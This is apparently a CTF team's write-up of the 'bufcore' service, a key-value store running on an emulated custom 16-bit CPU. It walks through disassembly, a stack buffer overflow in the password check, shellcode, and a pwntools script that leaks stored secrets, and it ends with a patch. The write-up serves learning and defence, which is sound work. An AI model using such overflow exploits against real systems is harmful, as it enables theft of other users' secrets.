Saarsec

saarsec

Schwenk and pwn

CInsects 19 WriteUp bufcore

Bufcore was a binary service written for a custom CPU that implemented a password protected key-value store. As already suggested by the service name, bufcore suffered from a buffer overflow vulnerability that enabled attackers to read other users’ secret without knowing their password.

Service description

On start, bufcore offered a simple text-based menu allowing the user to store a new key, retrieve an existing key, or exit.

Choose an action
1) Store key
2) Receive key
3) Exit

Action:

When storing a key, bufcore would ask for a key, a password, and the value to store:

Action: 1
You want to store a key
Enter key: my_key
Enter password: secret_password
Enter value: my_secret                 
OK: Your value was stored.

Similar, when receiving a key, bufcore would ask for a key and a password. If the password was correct, the stored value would be output:

Action: 2
You want to receive a key
Enter key: my_key
Enter password: secret_password
OK: my_secret

Otherwise, an error message is displayed to the user

Action: 2   
You want to receive a key
Enter key: my_key
Enter password: WRONG_PW
ERROR: WRONG PASSWORD

Password and value are both stored in a file named <key> as null-terminated strings, each preceded by a big-endian 16-bit field encoding their length

00000000: 0010 7365 6372 6574 5f70 6173 7377 6f72  ..secret_passwor
00000010: 6400 000a 6d79 5f73 6563 7265 7400       d...my_secret.

Disassembling the service

Bufcore came as two files, a compiled python file bufcore.pyc and a data-file a.out, that would be passed to the python file as the first argument. Luckily, uncompyle6 was very helpful in decompiling python bytecode into something readable, and it became clear that the python file did not implement the bufcore service per se, but was just an emulator for a custom 16-bit CPU named D*Core, a CPU design apparently used for teaching at Hamburg University. D*Core features 16 registers and a 16-bit instruction encoding, where the first byte is usually the opcode and the second byte holds two 4-bit arguments, which, depending on the instruction, are either taken as register indices or 4-bit immediate values. Branch and call instructions use (signed) 12-bit immediate values, where the lower 4 bits of the opcode function as the upper 4 bits of the branch/call target. The emulator initializes register r14 as the stack pointer (set to 0xf000 initially), register r15 is used as the link register and holds the return address for call instructions. Next to this, the emulator also features eight syscalls:

r0 effective syscall
1 sys.stdout.write(mem[r1:r1+r2])
2 mem[r1:r1+r2] = sys.stdin.buffer.readline(r2)
3 fds.append(fopen(mem[r1:], 'rb')); r1 = len(fds)-1
4 fds.append(fopen(mem[r1:], 'wb')); r1 = len(fds)-1
5 mem[r2:r2+r3] <- fds[r1].read(r3)
6 fds[r1].write(mem[r2:r2+r3])
7 fds[r1].close()
8 carry = os.path.exists(mem[r1:])

To understand the actual service implementation we thus set out to build a disassembler for D*Core, which we hacked together based on the decompiled emulator code.

Vulnerability: Buffer overflow

Toying around with the service, we noticed that sending a long password when receiving a key would crash the service with the following error message:

Action: 2
You want to receive a key
Enter key: my_key
Enter password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ERROR: WRONG PASSWORD

EXCEPTION: ILLEGALINSTRUCTION 0x6163 0x0000

Interestingly, 0x6163 is exactly 0x6161 + 0x2, i.e., two bytes from our password plus the instruction size. It thus appears that we have a buffer overflow that lets us control the instruction pointer.

After some reading and a lot of manual annotations of the disassembly, we found the function responsible for password checking that contained the overflow. Here, the stack pointer (r14) is first decremented by a total of 17 (0xf + 0x2), however, the buffer size passed to the read function (at 0x3f9) in r1 is set to 1 << 0xc = 4096 bytes, which will conveniently let us overwrite the saved return address that was placed there just before.

# checkpw: wrong password => r0 = 1
385: 36 2e   SUBI r14, 0x2
387: 50 ef   STW [r14 + 0x0], r15   # save return address to stack
389: 36 fe   SUBI r14, 0xf
38b: 36 2e   SUBI r14, 0x2
38d: 20 eb   MOV r11, r14
38f: 20 e0   MOV r0, r14
391: 34 11   MOVI r1, 0x1
393: 38 c1   LSLI r1, 0xc
395: 90 62   CALL 0x3f9   # read (1 << 0xc) bytes = 4kb?? << OVERFLOW RIGHT HERE
397: 20 e0   MOV r0, r14
399: 90 b6   CALL 0x451   # strlen(our_password)
39b: 20 07   MOV r7, r0
39d: 20 50   MOV r0, r5
39f: 90 b0   CALL 0x451   # strlen(real_password)
3a1: 20 08   MOV r8, r0
3a3: 30 87   CMPEQ r7, r8
3a5: b0 20   BF 0x3c7
3a7: 36 17   SUBI r7, 0x1
3a9: 20 e2   MOV r2, r14
3ab: 21 72   ADDU r2, r7
3ad: 40 20   LDW r0, [r2 + 0x0]
3af: 39 80   LSRI r0, 0x8
3b1: 20 52   MOV r2, r5
3b3: 21 72   ADDU r2, r7
3b5: 40 21   LDW r1, [r2 + 0x0]
3b7: 39 81   LSRI r1, 0x8
3b9: 30 10   CMPEQ r0, r1
3bb: b0 0a   BF 0x3c7
3bd: 26 99   XOR r9, r9
3bf: 30 97   CMPEQ r7, r9
3c1: 34 00   MOVI r0, 0x0
3c3: a0 14   BT 0x3d9
3c5: 8f e0   BR 0x3a7
3c7: 34 00   MOVI r0, 0x0
3c9: 38 40   LSLI r0, 0x4
3cb: 35 00   ADDI r0, 0x0
3cd: 38 40   LSLI r0, 0x4
3cf: 35 70   ADDI r0, 0x7
3d1: 38 40   LSLI r0, 0x4
3d3: 35 00   ADDI r0, 0x0   # r0 = 0x0070 "ERROR WRONG PASSWORD"
3d5: 90 b0   CALL 0x487 # print
3d7: 34 10   MOVI r0, 0x1
3d9: 35 fe   ADDI r14, 0xf
3db: 35 2e   ADDI r14, 0x2
3dd: 40 ef   LDW r15, [r14 + 0x0]
3df: 35 2e   ADDI r14, 0x2
3e1: c0 0f   JMP r15        # return

This checkpw function is called only once inside the receive key handler, after the password and value have been read from the file in four steps (password length, password, value length, value). If we the password check succeeds, the stored value is then printed at 0x36d, otherwise a branch is taken to the end of the function.

# RECEIVE KEY
2d9: 34 00   MOVI r0, 0x0
2db: 38 40   LSLI r0, 0x4
2dd: 35 00   ADDI r0, 0x0
2df: 38 40   LSLI r0, 0x4
2e1: 35 a0   ADDI r0, 0xa
2e3: 38 40   LSLI r0, 0x4
2e5: 35 20   ADDI r0, 0x2   # r0 = 00a2 "You want to receive a key"
2e7: 91 9e   CALL 0x487     # print
2e9: 20 ed   MOV r13, r14
2eb: 34 00   MOVI r0, 0x0
2ed: 38 40   LSLI r0, 0x4
2ef: 35 00   ADDI r0, 0x0
2f1: 38 40   LSLI r0, 0x4
2f3: 35 40   ADDI r0, 0x4
2f5: 38 40   LSLI r0, 0x4
2f7: 35 10   ADDI r0, 0x1   # r0 = 0041 "Enter key: "
2f9: 91 8c   CALL 0x487     # print
2fb: 36 fe   SUBI r14, 0xf
2fd: 36 2e   SUBI r14, 0x2
2ff: 20 ea   MOV r10, r14
301: 20 e0   MOV r0, r14
303: 34 f1   MOVI r1, 0xf
305: 35 21   ADDI r1, 0x2
307: 90 f0   CALL 0x3f9     # read
309: 34 80   MOVI r0, 0x8
30b: 20 a1   MOV r1, r10
30d: 1f ff   SYSCALL        # carry <- os.path.exists([r1])
30f: bf b4   BF 0x2c5
311: 34 30   MOVI r0, 0x3
313: 20 a1   MOV r1, r10
315: 1f ff   SYSCALL        # fopen([r1], 'rb'), r1 <- fd
317: 34 50   MOVI r0, 0x5
319: 36 2e   SUBI r14, 0x2
31b: 20 e2   MOV r2, r14
31d: 34 23   MOVI r3, 0x2
31f: 1f ff   SYSCALL        # r0 = 5 => mem[r2:r2+r3] <- fds[r1].read(r3)   # read password length (2b)
321: 40 e3   LDW r3, [r14 + 0x0]
323: 35 2e   ADDI r14, 0x2
325: 23 3e   SUBU r14, r3
327: 20 e2   MOV r2, r14
329: 1f ff   SYSCALL        # r0 = 5 =>mem[r2:r2+r3] <- fds[r1].read(r3)    # read password
32b: 20 e5   MOV r5, r14
32d: 36 2e   SUBI r14, 0x2
32f: 20 e2   MOV r2, r14
331: 34 23   MOVI r3, 0x2
333: 1f ff   SYSCALL        # r0 = 5 => mem[r2:r2+r3] <- fds[r1].read(r3)   # read value length (2b)
335: 40 e3   LDW r3, [r14 + 0x0]
337: 35 2e   ADDI r14, 0x2
339: 23 3e   SUBU r14, r3
33b: 20 e2   MOV r2, r14
33d: 1f ff   SYSCALL        # r0 = 5 => mem[r2:r2+r3] <- fds[r1].read(r3)   # read value (FLAG)
33f: 20 e6   MOV r6, r14
341: 34 70   MOVI r0, 0x7
343: 1f ff   SYSCALL        # r0 = 7 => fds[r1].close()
345: 34 00   MOVI r0, 0x0
347: 38 40   LSLI r0, 0x4
349: 35 00   ADDI r0, 0x0
34b: 38 40   LSLI r0, 0x4
34d: 35 40   ADDI r0, 0x4
34f: 38 40   LSLI r0, 0x4
351: 35 d0   ADDI r0, 0xd # r0 = 004d "Enter key"
353: 91 32   CALL 0x487   # print
355: 90 2e   CALL 0x385   # checkpw
357: 26 11   XOR r1, r1
359: 30 10   CMPEQ r0, r1
35b: b0 24   BF 0x381     # wrong password? jump to end of function
35d: 34 00   MOVI r0, 0x0
35f: 38 40   LSLI r0, 0x4
361: 35 10   ADDI r0, 0x1
363: 38 40   LSLI r0, 0x4
365: 35 20   ADDI r0, 0x2
367: 38 40   LSLI r0, 0x4
369: 35 70   ADDI r0, 0x7 # r0 = 0x0127 "OK"
36b: 91 1a   CALL 0x487   # print
36d: 20 60   MOV r0, r6   # r6 points to FLAG!
36f: 91 16   CALL 0x487   # print
371: 34 00   MOVI r0, 0x0
373: 38 40   LSLI r0, 0x4
375: 35 10   ADDI r0, 0x1
377: 38 40   LSLI r0, 0x4
379: 35 20   ADDI r0, 0x2
37b: 38 40   LSLI r0, 0x4
37d: 35 40   ADDI r0, 0x4   # r0 = 0x0124 "\n"
37f: 91 06   CALL 0x487
381: 20 de   MOV r14, r13
383: 8e 52   BR 0x1d7

Exploit attempt No 1

Since we would want to output the flag even if we do not know the correct password, our first exploit attempt was overwriting the return address with 0x35d, which should jump just behind the password check and print the flag. However, this did not quite work to plan:

Choose an action
1) Store key
2) Receive key
3) Exit

Action: 2
You want to receive a key
Enter key: my_key
Enter password: aaaaaaaaaaaaaaaaa\x03\x5d
ERROR: WRONG PASSWORD

OK: 

Choose an action
1) Store key
2) Receive key
3) Exit

We can see that jumping to 0x35d does in fact work, as we can see that the string OK is printed as expected. However, no flag is printed afterwards.

Digging a little deeper into the disassembly, we found that the input routine would always add a null byte to the end of the input. This means that the first byte on the stack after our return address will be set to 0. Unfortunately, the first byte after the return address is also the first byte of the flag, which thereby effectively becomes an empty string.

Exploit attempt No 2

As by now there were less than 30 minutes left in the game, we decided to take another approach: shellcode. After all, to fix the null byte issue we only have to adjust the pointer in r6 by one and call the print function again. Calling the print function turned out to be the harder part, as most call, branch, and jump instructions take a relative offset. We therefore resorted to building the address of the print function (0x487) into a register and jumping to the register instead:

00: 20 60   MOV r0, r6
02: 35 20   ADDI r0, 0x1
04: 34 41   MOVI r1, 0x4
06: 38 41   LSLI r1, 0x4
08: 35 81   ADDI r1, 0x8
0a: 38 41   LSLI r1, 0x4
0c: 35 71   ADDI r1, 0x7
0e: c0 01   JMP r1      # r1 = 0x487

Luckily, our 16 byte shellcode just fits into the 17 bytes we have before the return address. However, actually jumping to our shellcode turned out harder than expected, as the address of our buffer will depend on the stack contents, especially the password and the flag, which were both read onto the stack before. After some local bruteforcing we managed to find a working offset and, with only a few minutes of the game left, were desperate to run our exploit to steal some flags. However, at this time the game server had apparently had some issues, which meant that no flag IDs were available for the service (which would have been the keys for which to steal flags) until the end of the game. We should admit though that we had tested our stack offset only against a local test file, and therefore did not work against actual game server files…

An embarrassingly simple exploit

Looking at the service a little longer after the end of the CTF we managed to find an even easier exploit, that does not require any shellcode: Simply overwriting the return address with 0x4a1 (or any other address holding a SYSCALL) is sufficient and will print (almost) its entire memory. Why does this work?

  1. The checkpw function set r0 was set to 1 to indicate that we entered the wrong password. However, 1 is also the syscall number for writing.
  2. In the password-comparison loop, r1 is used to hold the current character of the actual password. r1 is therefore < 256 and thus below our stack.
  3. The same loop also uses r2 to point to the current password character, which is located on the stack. As the password is placed onto the stack before the flag, even if r1 were 0 mem[:r2] should still contain the flag.

Combined, this means that we will dump the entire memory mem[r1:r1+r2], including the flag.

#!/usr/bin/env python2
from pwn import *

r = remote(sys.argv[1], 1337)
r.sendline('2') # receive a key
r.sendline(sys.argv[2]) # name of key

addr = 0x4a1
payload = 'a'*17 + struct.pack('>H', addr)
r.sendline(payload)
r.recvuntil('PASSWORD') # read until 'WRONG PASSWORD'
out = r.recvall()

# assume that we overwrote an 'F' through our exploit
print 'F'+out.split(payload+b'\x00')[1].split(b'\x00')[0]

Patching the service

While the service could be patched by replacing

391: 34 11   MOVI r1, 0x1
393: 38 c1   LSLI r1, 0xc

with

391: 34 f1   MOVI r1, 0xf
393: 35 21   ADDI r1, 0x2

which would require only 3 nibbles changed, we took the easy way out:

As it was very clear from the beginning that the service had some vulnerability and the service logic was quite simple to understand, we just replaced it with a python reimplementation before starting our reversing efforts.

Conclusion

Bufcore was a lot of fun (I would even go out an say the coolest service of the entire CTF), as it used a non-standard architecture which made reversing and even “simple” buffer overflow a challenging task. While there were a few issues with the game infrastructure surrounding it (broken startup scripts, wrong and missing flag IDs) and no one managed to steal a single flag during the game we are looking forward to more services like this in the future.